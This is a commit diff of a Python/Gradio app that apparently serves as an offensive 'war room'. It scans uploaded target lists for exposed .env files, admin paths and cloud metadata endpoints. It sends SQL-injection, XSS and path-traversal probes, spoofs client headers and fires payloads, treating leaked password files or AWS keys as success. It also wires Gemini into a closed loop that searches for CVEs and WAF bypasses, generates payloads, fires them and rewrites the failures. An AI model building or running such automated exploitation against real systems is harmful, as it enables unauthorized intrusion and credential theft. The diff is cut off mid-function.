wuhp commited on
Commit
e9a2bb8
Β·
verified Β·
1 Parent(s): 3893e32

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +287 -269
app.py CHANGED
@@ -2,12 +2,13 @@ import asyncio
2
  import httpx
3
  import ssl
4
  import socket
 
5
  import csv
6
  import time
7
  import pandas as pd
8
  import gradio as gr
9
  from collections import defaultdict
10
- from typing import Dict, List, Tuple, Any
11
  from pydantic import BaseModel, Field
12
 
13
  try:
@@ -18,59 +19,63 @@ except ImportError:
18
  GEMINI_AVAILABLE = False
19
 
20
  # ==============================================================================
21
- # SOTA DECISION ENGINE: CENTAUR FRAMEWORK (HUMAN-AI TEAMING)
22
  # ==============================================================================
23
 
24
- MAX_CONCURRENT_RECON = 25
25
  SCAN_TIMEOUT = 5.0
26
  EXPLOIT_TIMEOUT = 8.0
27
 
28
  HTTP_HEADERS = {
29
- "User-Agent": "Ethical-PenTest-WarRoom/6.0 (Authorized)",
30
  "Accept": "*/*",
31
  "X-Forwarded-For": "127.0.0.1",
32
  }
33
 
34
- # --- STRUCTURED OUTPUT SCHEMAS (GEMINI) ---
35
- class ExploitGeneration(BaseModel):
36
- target_endpoint: str = Field(description="The path/parameter to attack (e.g., /api/users?id=).")
37
- payload: str = Field(description="The exact PoC payload string.")
38
- rationale: str = Field(description="Why this payload was chosen based on the target context.")
 
 
 
 
 
 
 
 
 
 
 
 
39
 
40
  class ChatResponse(BaseModel):
41
- chat_reply: str = Field(description="Message to display to the human operator.")
42
- revised_endpoint: str = Field(description="The updated target endpoint.")
43
- revised_payload: str = Field(description="The newly generated or revised payload.")
44
-
45
- # --- SIMULATED CVE CORRELATION GRAPH ---
46
- CVE_GRAPH = {
47
- "nginx": {"behavior_match": [{"cve": "Misconfig-XXE", "type": "XXE Injection", "base_cvss": 8.0, "maturity": 0.9}]},
48
- "apache": {"behavior_match": [{"cve": "Misconfig-LFI", "type": "Local File Inclusion", "base_cvss": 7.0, "maturity": 0.9}]},
49
- "php": {"generic": [{"cve": "Generic-SQLi", "type": "SQL Injection", "base_cvss": 8.5, "maturity": 0.95}]},
50
- "wordpress": {"generic": [{"cve": "WP-Plugin-RCE", "type": "RCE via Plugin", "base_cvss": 9.8, "maturity": 0.85}]},
51
- }
52
 
53
- # --- STATE MANAGEMENT CLASSES ---
54
- class HypothesisData:
55
- def __init__(self, target_id: str, host: str, port: int, cve: str, attack_type: str, risk: float, context: dict):
56
- self.target_id = target_id
57
- self.host = host
58
- self.port = port
59
- self.cve = cve
60
- self.attack_type = attack_type
61
- self.risk = risk
62
- self.context = context
63
- self.ui_label = f"[{risk:.1f}] {target_id} -> {attack_type}"
64
-
65
- # --- RECON ENGINE ---
66
- class ReconEngine:
67
- def __init__(self, host: str, port: int, logger: callable):
68
  self.host = host
69
  self.port = port
70
- self.logger = logger
71
  self.protocol = "http"
72
- self.fingerprint = {"server": "", "xpb": "", "waf": "None", "cms": "None", "behaviors": []}
 
 
 
 
73
  self.discovered_paths = []
 
 
 
 
 
 
 
74
  self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=False)
75
 
76
  async def _detect_protocol(self):
@@ -78,66 +83,73 @@ class ReconEngine:
78
  conf = ssl.create_default_context()
79
  conf.check_hostname = False
80
  conf.verify_mode = ssl.CERT_NONE
81
- reader, writer = await asyncio.wait_for(asyncio.open_connection(self.host, self.port, ssl=conf), timeout=1.5)
82
  writer.close()
83
  await writer.wait_closed()
84
- self.protocol = "https"
85
- self.logger(f"πŸ”’ {self.host}:{self.port} verified HTTPS")
86
  except:
87
- self.protocol = "http"
88
 
89
- def _url(self, path=""): return f"{self.protocol}://{self.host}:{self.port}{path}"
90
 
91
- async def _safe_req(self, method="GET", path="", timeout=SCAN_TIMEOUT):
92
- try:
93
- if method == "GET": return await self.client.get(self._url(path), timeout=timeout)
94
- except Exception: return None
95
-
96
- async def run_recon(self) -> List[HypothesisData]:
97
  await self._detect_protocol()
98
  try:
99
- # 1. Base Fingerprint
100
- resp = await self._safe_req("GET", "/")
101
- if resp:
102
- srv = resp.headers.get("Server", "").lower()
103
- self.fingerprint["server"] = srv
104
- self.fingerprint["xpb"] = resp.headers.get("X-Powered-By", "Unknown").lower()
105
-
106
- # WAF & CMS Heuristics
107
- if "cloudflare" in srv: self.fingerprint["waf"] = "Cloudflare"
108
- if "imperva" in srv or "incap_ses" in str(resp.cookies): self.fingerprint["waf"] = "Imperva"
109
- if "wp-content" in resp.text.lower(): self.fingerprint["cms"] = "wordpress"
110
-
111
- # 2. Path Discovery (Concurrent)
112
- paths = ["/admin", "/.env", "/api/v1/users", "/search", "/latest/meta-data/"]
113
- tasks = [self._safe_req("GET", p) for p in paths]
114
- results = await asyncio.gather(*tasks)
115
- for path, res in zip(paths, results):
116
- if res and res.status_code in [200, 301, 302, 401, 403]:
117
- self.discovered_paths.append(path)
118
- self.logger(f"πŸ“‚ {self.host} -> Discovered: {path} ({res.status_code})")
119
-
120
- return self.generate_hypotheses()
121
  finally:
122
  await self.client.aclose()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
123
 
124
- def generate_hypotheses(self) -> List[HypothesisData]:
125
- target_id = f"{self.host}:{self.port}"
126
- techs = ["php"] # Generic fallback
127
- if "nginx" in self.fingerprint["server"]: techs.append("nginx")
128
- if "apache" in self.fingerprint["server"]: techs.append("apache")
129
- if self.fingerprint["cms"] == "wordpress": techs.append("wordpress")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
130
 
131
- context = {"fingerprint": self.fingerprint, "paths": self.discovered_paths}
132
- hyps = []
133
- for tech in set(techs):
134
- if tech in CVE_GRAPH:
135
- for node in CVE_GRAPH[tech].get("behavior_match", []) + CVE_GRAPH[tech].get("generic", []):
136
- risk = (node["base_cvss"] * 0.4) + (node["maturity"] * 4.0) + 2.0
137
- hyps.append(HypothesisData(target_id, self.host, self.port, node["cve"], node["type"], risk, context))
138
- return hyps
139
 
140
- # --- HTTP EXPLOIT FIRING ---
141
 
142
  async def fire_payload(protocol, host, port, endpoint, payload):
143
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
@@ -146,26 +158,129 @@ async def fire_payload(protocol, host, port, endpoint, payload):
146
  async with httpx.AsyncClient(verify=False, timeout=EXPLOIT_TIMEOUT) as client:
147
  resp = await client.get(url)
148
  latency = time.time() - start
149
-
150
  success = False
151
- if "root:x:0:0" in resp.text or "[extensions]" in resp.text or "aws_access_key" in resp.text.lower(): success = True
152
- if latency > 4.5 and "SLEEP" in payload.upper(): success = True
 
153
 
154
- status = "SUCCESS πŸ’₯" if success else "Failed"
155
- return success, status, resp.status_code, resp.text[:100].replace('\n', ' ')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
156
  except Exception as e:
157
- return False, "Error ⚠️", 0, str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
158
 
159
- # --- ASYNC GENERATORS & WORKFLOWS ---
160
 
161
- def parse_inputs(files, manual) -> List[Tuple[str, int]]:
 
 
162
  targets = []
163
  if files:
164
  if not isinstance(files, list): files = [files]
165
  for f in files:
166
  try:
167
- path = f.name if hasattr(f, 'name') else f
168
- with open(path, 'r') as csvf:
169
  for row in csv.reader(csvf):
170
  if row: targets.append((row[0].strip(), int(row[1]) if len(row)>1 and row[1].isdigit() else 80))
171
  except: pass
@@ -179,230 +294,133 @@ def parse_inputs(files, manual) -> List[Tuple[str, int]]:
179
  targets.append((line, 80))
180
  return list(set(targets))
181
 
182
- async def background_recon_generator(files, manual, engine_state):
183
- """Yields results incrementally so the user can use the War Room while it scans."""
184
  log_queue = asyncio.Queue()
185
  def logger(msg): log_queue.put_nowait(msg)
186
  log_text = ""
187
-
188
  targets = parse_inputs(files, manual)
 
189
  if not targets:
190
- yield engine_state, gr.update(), "πŸ”΄ No targets provided.", log_text
191
  return
192
 
193
- logger(f"πŸš€ Starting Background Recon on {len(targets)} targets.")
 
194
 
195
- # Reset State
196
- engine_state["hypotheses"] = {}
197
- engine_state["arsenal"] = defaultdict(list) # target_label -> list of dicts
198
-
199
- semaphore = asyncio.Semaphore(MAX_CONCURRENT_RECON)
200
-
201
- async def process_target(h, p):
202
- async with semaphore:
203
- return await ReconEngine(h, p, logger).run_recon()
204
-
205
- tasks = [asyncio.create_task(process_target(h, p)) for h, p in targets]
206
 
207
- # Process as they complete
208
  for coro in asyncio.as_completed(tasks):
209
  try:
210
- new_hyps = await coro
211
- for hyp in new_hyps:
212
- engine_state["hypotheses"][hyp.ui_label] = hyp
213
  except Exception: pass
214
 
215
- # Flush logs & Update UI incrementally!
216
- while not log_queue.empty():
217
- log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
218
  log_text = '\n'.join(log_text.split('\n')[:100])
 
 
219
 
220
- choices = sorted(list(engine_state["hypotheses"].keys()), key=lambda x: float(re.search(r'\[(.*?)\]', x).group(1)), reverse=True)
221
- yield engine_state, gr.update(choices=choices), f"🟑 **Scanning...** ({len(choices)} hypotheses found)", log_text
222
-
223
- logger("βœ… Background Recon Complete.")
224
  while not log_queue.empty(): log_text = f"[{time.strftime('%X')}] {log_queue.get_nowait()}\n" + log_text
225
-
226
- yield engine_state, gr.update(choices=choices), f"🟒 **Recon Complete!** Move to the War Room.", log_text
227
 
228
- async def ai_payload_generator(target_label, endpoint, payload, instruction, api_key, engine_state):
229
- """Uses Gemini to generate or revise a payload based on instructions/context."""
230
- if not api_key: return "πŸ”΄ API Key Required", endpoint, payload, engine_state
231
- if not target_label: return "πŸ”΄ Target Required", endpoint, payload, engine_state
232
-
233
- hyp = engine_state["hypotheses"][target_label]
234
- llm = genai.Client(api_key=api_key)
235
 
236
- sys_ctx = f"""Target: {hyp.target_id} | WAF: {hyp.context['fingerprint']['waf']} | Paths: {hyp.context['paths']}
237
- Goal: {hyp.attack_type}. Current Endpoint: '{endpoint}'. Current Payload: '{payload}'"""
238
-
239
- try:
240
- if not instruction: # Initial Auto-Generate
241
- prompt = sys_ctx + "\nGenerate the initial exact payload."
242
- schema = ExploitGeneration.model_json_schema()
243
- else: # Revisions from Chat
244
- prompt = sys_ctx + f"\nUser Instruction: {instruction}\nRevise the payload and endpoint accordingly."
245
- schema = ChatResponse.model_json_schema()
246
-
247
- resp = await llm.aio.models.generate_content(
248
- model="gemini-2.5-flash", contents=prompt,
249
- config={"response_mime_type": "application/json", "response_json_schema": schema}
250
- )
251
-
252
- if not instruction:
253
- plan = ExploitGeneration.model_validate_json(resp.text)
254
- ep, pl = plan.target_endpoint, plan.payload
255
- chat_reply = f"πŸ€– Generated initial payload. Rationale: {plan.rationale}"
256
- else:
257
- plan = ChatResponse.model_validate_json(resp.text)
258
- ep, pl = plan.revised_endpoint, plan.revised_payload
259
- chat_reply = f"πŸ€– {plan.chat_reply}"
260
-
261
- # Add to Arsenal State
262
- engine_state["arsenal"][target_label].append({"Endpoint": ep, "Payload": pl, "Status": "Pending", "Notes": "AI Generated"})
263
-
264
- return chat_reply, ep, pl, engine_state
265
- except Exception as e:
266
- return f"⚠️ API Error: {str(e)}", endpoint, payload, engine_state
267
 
268
- async def fire_manual(target_label, endpoint, payload, engine_state):
269
- """Fires payload and logs it to the Arsenal DataFrame."""
270
- if not target_label: return "πŸ”΄ No target", engine_state
271
- hyp = engine_state["hypotheses"][target_label]
272
- protocol = "https" if hyp.port == 443 else "http"
273
 
274
- success, status, code, snippet = await fire_payload(protocol, hyp.host, hyp.port, endpoint, payload)
 
 
 
 
 
 
 
275
 
276
- # Update Arsenal
277
- found = False
278
- for item in engine_state["arsenal"][target_label]:
279
- if item["Endpoint"] == endpoint and item["Payload"] == payload:
280
- item["Status"] = status
281
- item["Notes"] = f"HTTP {code}: {snippet}"
282
- found = True
283
- break
284
- if not found:
285
- engine_state["arsenal"][target_label].append({"Endpoint": endpoint, "Payload": payload, "Status": status, "Notes": f"HTTP {code}: {snippet}"})
 
 
 
286
 
287
- return f"**Result:** {status}\n**Code:** {code}\n**Snippet:** `{snippet}`", engine_state
288
-
289
- def render_arsenal(target_label, engine_state):
290
- """Renders the DataFrame for the selected target."""
291
- if not target_label or target_label not in engine_state.get("arsenal", {}):
292
- return pd.DataFrame(columns=["Endpoint", "Payload", "Status", "Notes"])
293
- df = pd.DataFrame(engine_state["arsenal"][target_label])
294
- if df.empty: return pd.DataFrame(columns=["Endpoint", "Payload", "Status", "Notes"])
295
- return df
296
-
297
- def load_payload_from_arsenal(evt: gr.SelectData, target_label, engine_state):
298
- """When user clicks a row in the arsenal dataframe, load it into the editor."""
299
  try:
300
- row = evt.index[0]
301
- data = engine_state["arsenal"][target_label][row]
302
- return data["Endpoint"], data["Payload"]
303
- except:
304
- return "", ""
 
305
 
306
  # ==============================================================================
307
- # GRADIO UI DEFINITION
308
  # ==============================================================================
309
  with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
310
- # State holds hypotheses and payload arsenal histories
311
- engine_state = gr.State({"hypotheses": {}, "arsenal": defaultdict(list)})
312
 
313
- gr.Markdown("# πŸ’€ Human-AI Teaming War Room (Centaur Framework)")
314
- gr.Markdown("Recon runs in the background. You can switch to the War Room and exploit targets *while* the engine is still finding them.")
315
 
316
  with gr.Tabs():
317
  # --- TAB 1: RECON ---
318
- with gr.Tab("1. Background Recon"):
319
  with gr.Row():
320
  with gr.Column():
321
  csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
322
  txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80")
323
- recon_btn = gr.Button("πŸ” START BACKGROUND RECON", variant="primary")
324
- api_key_in = gr.Textbox(label="Gemini API Key (For War Room)", type="password")
325
  with gr.Column():
326
  recon_status = gr.Markdown("System Offline.")
327
  log_console = gr.Code(label="Live Recon Telemetry", language="shell", lines=15)
328
 
329
  # --- TAB 2: WAR ROOM ---
330
- with gr.Tab("2. War Room (Interactive Exploitation)"):
331
  with gr.Row():
332
- # LEFT: TARGET & ARSENAL
333
  with gr.Column(scale=1):
334
- target_dropdown = gr.Dropdown(label="Active Target Hypothesis", choices=[], interactive=True)
335
-
336
- gr.Markdown("### πŸ—„οΈ Payload Arsenal")
337
- gr.Markdown("*Click any row below to load the payload into the editor.*")
338
- arsenal_df = gr.Dataframe(headers=["Endpoint", "Payload", "Status", "Notes"], interactive=False, height=200)
339
 
340
- gr.Markdown("### πŸ› οΈ Manual Payload Editor")
341
- endpoint_in = gr.Textbox(label="Target Endpoint", placeholder="/api/users?id=")
342
- payload_in = gr.Textbox(label="PoC Payload", placeholder="' OR 1=1--")
343
-
344
- with gr.Row():
345
- fire_btn = gr.Button("🎯 FIRE PAYLOAD", variant="primary")
346
- ai_gen_btn = gr.Button("πŸ€– AUTO-GENERATE PAYLOAD")
347
-
348
- fire_result = gr.Markdown("Awaiting execution...")
349
 
350
- # RIGHT: AI CHAT
351
  with gr.Column(scale=1):
352
- gr.Markdown("### πŸ’¬ Centaur Teaming Interface")
353
- chatbot = gr.Chatbot(label="Gemini Exploit Assistant", height=350)
354
- chat_in = gr.Textbox(label="Instruction (e.g. 'Encode in Base64')", placeholder="The WAF blocked the quote. Patch the payload in the editor.")
355
- chat_btn = gr.Button("Send Instruction to AI")
356
 
357
- # --- EVENT WIRING ---
358
-
359
- # 1. Background Recon
360
  recon_btn.click(
361
- fn=background_recon_generator,
362
  inputs=[csv_in, txt_in, engine_state],
363
- outputs=[engine_state, target_dropdown, recon_status, log_console],
364
- concurrency_limit=None # Allows other UI actions while yielding!
365
- )
366
-
367
- # 2. Update Arsenal when Target Changes
368
- target_dropdown.change(
369
- fn=render_arsenal, inputs=[target_dropdown, engine_state], outputs=[arsenal_df]
370
- )
371
-
372
- # 3. Load payload from Arsenal click
373
- arsenal_df.select(
374
- fn=load_payload_from_arsenal, inputs=[target_dropdown, engine_state], outputs=[endpoint_in, payload_in]
375
- )
376
-
377
- # 4. Fire Payload (Updates state, then re-renders Arsenal)
378
- fire_btn.click(
379
- fn=fire_manual, inputs=[target_dropdown, endpoint_in, payload_in, engine_state], outputs=[fire_result, engine_state]
380
- ).then(
381
- fn=render_arsenal, inputs=[target_dropdown, engine_state], outputs=[arsenal_df]
382
- )
383
-
384
- # 5. AI Initial Generate
385
- ai_gen_btn.click(
386
- fn=lambda tgt, ep, pl, api, st: asyncio.run(ai_payload_generator(tgt, ep, pl, "", api, st)),
387
- inputs=[target_dropdown, endpoint_in, payload_in, api_key_in, engine_state],
388
- outputs=[fire_result, endpoint_in, payload_in, engine_state]
389
- ).then(
390
- fn=render_arsenal, inputs=[target_dropdown, engine_state], outputs=[arsenal_df]
391
  )
392
 
393
- # 6. AI Chat Patching
394
- def chat_wrapper(user_msg, history, tgt, ep, pl, api, st):
395
- reply, new_ep, new_pl, new_st = asyncio.run(ai_payload_generator(tgt, ep, pl, user_msg, api, st))
396
- history.append((user_msg, reply))
397
- return history, new_ep, new_pl, new_st, "" # return "" to clear input
398
-
399
- chat_btn.click(
400
- fn=chat_wrapper,
401
- inputs=[chat_in, chatbot, target_dropdown, endpoint_in, payload_in, api_key_in, engine_state],
402
- outputs=[chatbot, endpoint_in, payload_in, engine_state, chat_in]
403
- ).then(
404
- fn=render_arsenal, inputs=[target_dropdown, engine_state], outputs=[arsenal_df]
405
  )
406
 
407
  if __name__ == "__main__":
408
- demo.queue(default_concurrency_limit=20).launch()
 
2
  import httpx
3
  import ssl
4
  import socket
5
+ import re
6
  import csv
7
  import time
8
  import pandas as pd
9
  import gradio as gr
10
  from collections import defaultdict
11
+ from typing import Dict, List, Tuple, Any, Optional
12
  from pydantic import BaseModel, Field
13
 
14
  try:
 
19
  GEMINI_AVAILABLE = False
20
 
21
  # ==============================================================================
22
+ # SOTA COGNITIVE DECISION ENGINE: CLOSED-LOOP AUTONOMY
23
  # ==============================================================================
24
 
25
+ MAX_CONCURRENT_RECON = 20
26
  SCAN_TIMEOUT = 5.0
27
  EXPLOIT_TIMEOUT = 8.0
28
 
29
  HTTP_HEADERS = {
30
+ "User-Agent": "Cognitive-PenTest-Agent/1.0",
31
  "Accept": "*/*",
32
  "X-Forwarded-For": "127.0.0.1",
33
  }
34
 
35
+ # --- 1. AI STRUCTURED OUTPUT SCHEMAS ---
36
+
37
+ class AttackStrategy(BaseModel):
38
+ vulnerability_class: str = Field(description="Class of vulnerability (e.g., SQLi, LFI, RCE).")
39
+ confidence: float = Field(description="Confidence score 0.0 to 1.0 based on recon evidence.")
40
+ strategy: str = Field(description="The approach (e.g., time_based_blind, path_traversal).")
41
+ target_endpoint: str = Field(description="The specific endpoint and parameter to target.")
42
+
43
+ class PayloadGeneration(BaseModel):
44
+ technique: str = Field(description="Specific technique or encoding used.")
45
+ payload: str = Field(description="The exact payload string to inject.")
46
+ reasoning: str = Field(description="Why this payload fits the WAF and server profile.")
47
+
48
+ class PayloadRefinement(BaseModel):
49
+ failure_analysis: str = Field(description="Analysis of why the previous payload failed based on the HTTP response diff and timing.")
50
+ adjusted_strategy: str = Field(description="How the approach changes (e.g., 'Switching to URL encoding').")
51
+ revised_payload: str = Field(description="The newly patched payload.")
52
 
53
  class ChatResponse(BaseModel):
54
+ chat_reply: str = Field(description="Message to human operator.")
55
+ suggested_endpoint: str = Field(description="Updated endpoint.")
56
+ suggested_payload: str = Field(description="Revised payload.")
 
 
 
 
 
 
 
 
57
 
58
+ # --- 2. SIGNAL-RICH RECON ENGINE ---
59
+
60
+ class ReconProfile:
61
+ def __init__(self, host: str, port: int):
62
+ self.target_id = f"{host}:{port}"
 
 
 
 
 
 
 
 
 
 
63
  self.host = host
64
  self.port = port
 
65
  self.protocol = "http"
66
+ self.server_banner = "Unknown"
67
+ self.waf_detected = "None"
68
+ self.baseline_latency = 0.0
69
+ self.base_response_length = 0
70
+
71
  self.discovered_paths = []
72
+ self.injection_sensitivity = [] # How it reacts to ' " ( ) ;
73
+ self.error_signatures = [] # Leaked stack traces
74
+
75
+ class SensorReconEngine:
76
+ def __init__(self, profile: ReconProfile, logger: callable):
77
+ self.p = profile
78
+ self.logger = logger
79
  self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=False)
80
 
81
  async def _detect_protocol(self):
 
83
  conf = ssl.create_default_context()
84
  conf.check_hostname = False
85
  conf.verify_mode = ssl.CERT_NONE
86
+ reader, writer = await asyncio.wait_for(asyncio.open_connection(self.p.host, self.p.port, ssl=conf), timeout=1.5)
87
  writer.close()
88
  await writer.wait_closed()
89
+ self.p.protocol = "https"
 
90
  except:
91
+ self.p.protocol = "http"
92
 
93
+ def _url(self, path=""): return f"{self.p.protocol}://{self.p.host}:{self.p.port}{path}"
94
 
95
+ async def run(self):
 
 
 
 
 
96
  await self._detect_protocol()
97
  try:
98
+ await self.profile_baseline()
99
+ await self.probe_injection_sensitivity()
100
+ await self.dynamic_path_expansion()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
101
  finally:
102
  await self.client.aclose()
103
+ return self.p
104
+
105
+ async def profile_baseline(self):
106
+ """Measures baseline latency and response size, fingerprints server."""
107
+ start = time.time()
108
+ try:
109
+ resp = await self.client.get(self._url("/"))
110
+ self.p.baseline_latency = time.time() - start
111
+ self.p.base_response_length = len(resp.text)
112
+
113
+ srv = resp.headers.get("Server", "").lower()
114
+ self.p.server_banner = srv
115
+ if "cloudflare" in srv: self.p.waf_detected = "Cloudflare"
116
+ if "imperva" in srv: self.p.waf_detected = "Imperva"
117
+
118
+ self.logger(f"πŸ“Š Baseline [{self.p.target_id}]: Latency {self.p.baseline_latency:.2f}s | WAF: {self.p.waf_detected}")
119
+ except Exception: pass
120
 
121
+ async def probe_injection_sensitivity(self):
122
+ """Sends neutral anomalies to see if the server leaks errors or sanitizes inputs."""
123
+ probes = [("?id=1'", "single_quote"), ("?q=\"><script>", "html_tags"), ("?file=../../", "traversal_chars")]
124
+ for path, tag in probes:
125
+ try:
126
+ resp = await self.client.get(self._url(path))
127
+ body = resp.text.lower()
128
+ # Check for error leaks
129
+ if any(err in body for err in ["sql syntax", "mysql_fetch", "stack trace", "java.lang"]):
130
+ self.p.error_signatures.append(f"{tag}_leak")
131
+ self.logger(f"🚨 Sensitivity Alert [{self.p.target_id}]: Error signature leaked on {tag}")
132
+ elif resp.status_code in [403, 406]:
133
+ self.p.injection_sensitivity.append(f"{tag}_blocked")
134
+ except: pass
135
+
136
+ async def dynamic_path_expansion(self):
137
+ """If a base path exists, recursively check deeper."""
138
+ base_paths = ["/api", "/admin", "/.env"]
139
+ for bp in base_paths:
140
+ try:
141
+ resp = await self.client.get(self._url(bp))
142
+ if resp.status_code in [200, 401, 403, 301, 302]:
143
+ self.p.discovered_paths.append(bp)
144
+ self.logger(f"πŸ“‚ Discovered Base Path: {bp}")
145
+ # Dynamic Expansion
146
+ if bp == "/api":
147
+ exp_resp = await self.client.get(self._url("/api/v1/users"))
148
+ if exp_resp.status_code == 200: self.p.discovered_paths.append("/api/v1/users")
149
+ except: pass
150
 
 
 
 
 
 
 
 
 
151
 
152
+ # --- 3. THE AUTONOMOUS AGENT (EXPLOIT STATE MACHINE) ---
153
 
154
  async def fire_payload(protocol, host, port, endpoint, payload):
155
  url = f"{protocol}://{host}:{port}{endpoint}{payload}"
 
158
  async with httpx.AsyncClient(verify=False, timeout=EXPLOIT_TIMEOUT) as client:
159
  resp = await client.get(url)
160
  latency = time.time() - start
 
161
  success = False
162
+ # Universal Success Metrics
163
+ if "root:x:0:0" in resp.text or "[extensions]" in resp.text: success = True
164
+ if latency > (SCAN_TIMEOUT + 3.0) and "SLEEP" in payload.upper(): success = True
165
 
166
+ return success, resp.status_code, latency, resp.text[:250].replace('\n', ' ')
167
+ except Exception as e:
168
+ return False, 0, time.time() - start, f"Connection Error: {str(e)}"
169
+
170
+ async def autonomous_exploit_agent(profile: ReconProfile, api_key: str, logger: callable, update_ui_cb: callable):
171
+ """The Closed-Loop Reasoning Engine."""
172
+ if not api_key:
173
+ yield "πŸ”΄ Error", "No API Key", "Failed", "N/A"
174
+ return
175
+
176
+ llm = genai.Client(api_key=api_key)
177
+
178
+ # AI Configuration with Google Search Grounding for current CVE research
179
+ config_strategy = types.GenerateContentConfig(
180
+ tools=[types.Tool(google_search=types.GoogleSearch())],
181
+ response_mime_type="application/json",
182
+ response_json_schema=AttackStrategy.model_json_schema(),
183
+ temperature=0.2
184
+ )
185
+
186
+ recon_evidence = f"""
187
+ TARGET EVIDENCE PROFILE:
188
+ Target: {profile.target_id}
189
+ Server: {profile.server_banner}
190
+ WAF Detected: {profile.waf_detected}
191
+ Baseline Latency: {profile.baseline_latency:.3f}s
192
+ Error Leaks: {profile.error_signatures}
193
+ Blocked Injections: {profile.injection_sensitivity}
194
+ Discovered Paths: {profile.discovered_paths}
195
+ """
196
+
197
+ # STATE 1: STRATEGIZING
198
+ logger(f"🧠 [STRATEGIZING] Researching & Classifying {profile.target_id}")
199
+ await update_ui_cb("🧠 STRATEGIZING", "Researching via Google Search & building Attack Strategy...")
200
+
201
+ try:
202
+ strat_resp = await llm.aio.models.generate_content(
203
+ model="gemini-2.5-flash",
204
+ contents=recon_evidence + "\nUse Google Search to find CVEs/bypasses for this server/WAF. Then formulate an AttackStrategy.",
205
+ config=config_strategy
206
+ )
207
+ strategy = AttackStrategy.model_validate_json(strat_resp.text)
208
  except Exception as e:
209
+ logger(f"⚠️ Strategy Gen Failed: {e}")
210
+ return
211
+
212
+ # STATE 2: PAYLOAD GENERATION
213
+ logger(f"βš™οΈ [GENERATING] Creating payload for {strategy.vulnerability_class}")
214
+ await update_ui_cb("βš™οΈ GENERATING", f"Crafting {strategy.strategy} payload...")
215
+
216
+ config_gen = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadGeneration.model_json_schema(), temperature=0.3)
217
+ try:
218
+ gen_resp = await llm.aio.models.generate_content(
219
+ model="gemini-2.5-flash",
220
+ contents=f"Strategy: {strategy.model_dump_json()}\nRecon: {recon_evidence}\nGenerate the specific payload.",
221
+ config=config_gen
222
+ )
223
+ gen = PayloadGeneration.model_validate_json(gen_resp.text)
224
+ current_endpoint, current_payload = strategy.target_endpoint, gen.payload
225
+ except Exception as e:
226
+ logger(f"⚠️ Payload Gen Failed: {e}"); return
227
+
228
+ # THE EXECUTION & REFINEMENT LOOP
229
+ for attempt in range(1, 4):
230
+ # STATE 3: EXPLOITING
231
+ logger(f"βš”οΈ [EXPLOITING] Attempt {attempt} on {current_endpoint}")
232
+ await update_ui_cb(f"βš”οΈ EXPLOITING (Try {attempt}/3)", f"Firing: {current_payload}")
233
+
234
+ success, status, latency, snippet = await fire_payload(profile.protocol, profile.host, profile.port, current_endpoint, current_payload)
235
+
236
+ # STATE 4: ANALYZING
237
+ await update_ui_cb("πŸ“Š ANALYZING FEEDBACK", f"Status: {status} | Latency: {latency:.2f}s | Diff checking...")
238
+
239
+ if success:
240
+ logger(f"πŸ’₯ [SUCCESS] Exploit triggered on {profile.target_id}!")
241
+ yield current_endpoint, current_payload, "SUCCESS πŸ’₯", f"Confirmed {strategy.vulnerability_class}. Latency: {latency:.2f}s"
242
+ return
243
+
244
+ if attempt == 3: break
245
+
246
+ # STATE 5: REFINING
247
+ logger(f"πŸ”§ [REFINING] Payload failed. Asking AI to patch...")
248
+ await update_ui_cb("πŸ”§ REFINING", "Analyzing failure diff and rewriting payload...")
249
+
250
+ feedback = f"""
251
+ PREVIOUS PAYLOAD: {current_payload}
252
+ OUTCOME: Failed.
253
+ FEEDBACK METRICS:
254
+ - HTTP Status: {status}
255
+ - Latency: {latency:.2f}s (Baseline was {profile.baseline_latency:.2f}s)
256
+ - Response Snippet: {snippet}
257
+
258
+ Analyze the failure and provide a PayloadRefinement.
259
+ """
260
+ config_patch = types.GenerateContentConfig(response_mime_type="application/json", response_json_schema=PayloadRefinement.model_json_schema(), temperature=0.4)
261
+ try:
262
+ patch_resp = await llm.aio.models.generate_content(
263
+ model="gemini-2.5-flash", contents=feedback, config=config_patch
264
+ )
265
+ patch = PayloadRefinement.model_validate_json(patch_resp.text)
266
+ current_payload = patch.revised_payload
267
+ logger(f"πŸ’‘ AI Insight: {patch.failure_analysis}")
268
+ except Exception:
269
+ pass # Fallback to loop if API drops
270
+
271
+ logger(f"πŸ›‘ [ABORT] Exhausted attempts on {profile.target_id}")
272
+ yield current_endpoint, current_payload, "FAILED", f"Analyzed 3 variations. WAF/Server resilient."
273
 
 
274
 
275
+ # --- UI ASYNC WRAPPERS & UTILS ---
276
+
277
+ def parse_inputs(files, manual):
278
  targets = []
279
  if files:
280
  if not isinstance(files, list): files = [files]
281
  for f in files:
282
  try:
283
+ with open(f.name if hasattr(f, 'name') else f, 'r') as csvf:
 
284
  for row in csv.reader(csvf):
285
  if row: targets.append((row[0].strip(), int(row[1]) if len(row)>1 and row[1].isdigit() else 80))
286
  except: pass
 
294
  targets.append((line, 80))
295
  return list(set(targets))
296
 
297
+ async def run_recon_phase(files, manual, state):
 
298
  log_queue = asyncio.Queue()
299
  def logger(msg): log_queue.put_nowait(msg)
300
  log_text = ""
 
301
  targets = parse_inputs(files, manual)
302
+
303
  if not targets:
304
+ yield state, gr.update(), "πŸ”΄ No targets provided.", log_text
305
  return
306
 
307
+ logger(f"πŸš€ [STAGE 1] Sensor Recon initiated on {len(targets)} targets.")
308
+ state["profiles"] = {}
309
 
310
+ async def run_sensor(h, p):
311
